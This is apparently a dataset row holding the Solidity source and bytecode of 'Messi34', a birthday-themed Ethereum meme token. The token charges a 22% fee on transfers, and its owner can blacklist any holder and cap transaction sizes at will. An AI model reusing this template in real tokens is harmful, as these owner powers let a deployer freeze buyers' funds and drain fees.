5260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a92b5c53c7f33ad9aee8f7b87c989978092b73d5fc9e4a54d7f8b4f394f4685864736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,957 |
0x1972d691a242ecf3ce2aa40853b8289d8a7d3edd
|
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
/**
___ _ _ _ _ _
/\ /\__ _ _ __ _ __ _ _ / __(_)_ __| |_| |__ __| | __ _ _ _ / \
/ /_/ / _` | '_ \| '_ \| | | | /__\// | '__| __| '_ \ / _` |/ _` | | | |/ /
/ __ / (_| | |_) | |_) | |_| | / \/ \ | | | |_| | | | (_| | (_| | |_| /\_/
\/ /_/ \__,_| .__/| .__/ \__, | \_____/_|_| \__|_| |_|\__,_|\__,_|\__, \/
|_| |_| |___/ |___/
__ _ _ _
/ /(_) ___ _ __ ___| | /\/\ ___ ___ ___(_)
/ / | |/ _ \| '_ \ / _ \ | / \ / _ \/ __/ __| |
/ /__| | (_) | | | | __/ | / /\/\ \ __/\__ \__ \ |
\____/_|\___/|_| |_|\___|_| \/ \/\___||___/___/_|
Today is the 34th birthday of The World's top soccer player Lionel Messi!
Let's Celebrate his birthday!
TG: https://t.me/lionelmessi34
Twitter: https://twitter.com/messi34token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Messi34 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lionel Messi \xE2\x9A\xBD";
string private constant _symbol = "Messi34 \xF0\x9F\x90\x90";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601081526020017f4c696f6e656c204d6573736920e29abd00000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4d65737369333420f09f90900000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b71000000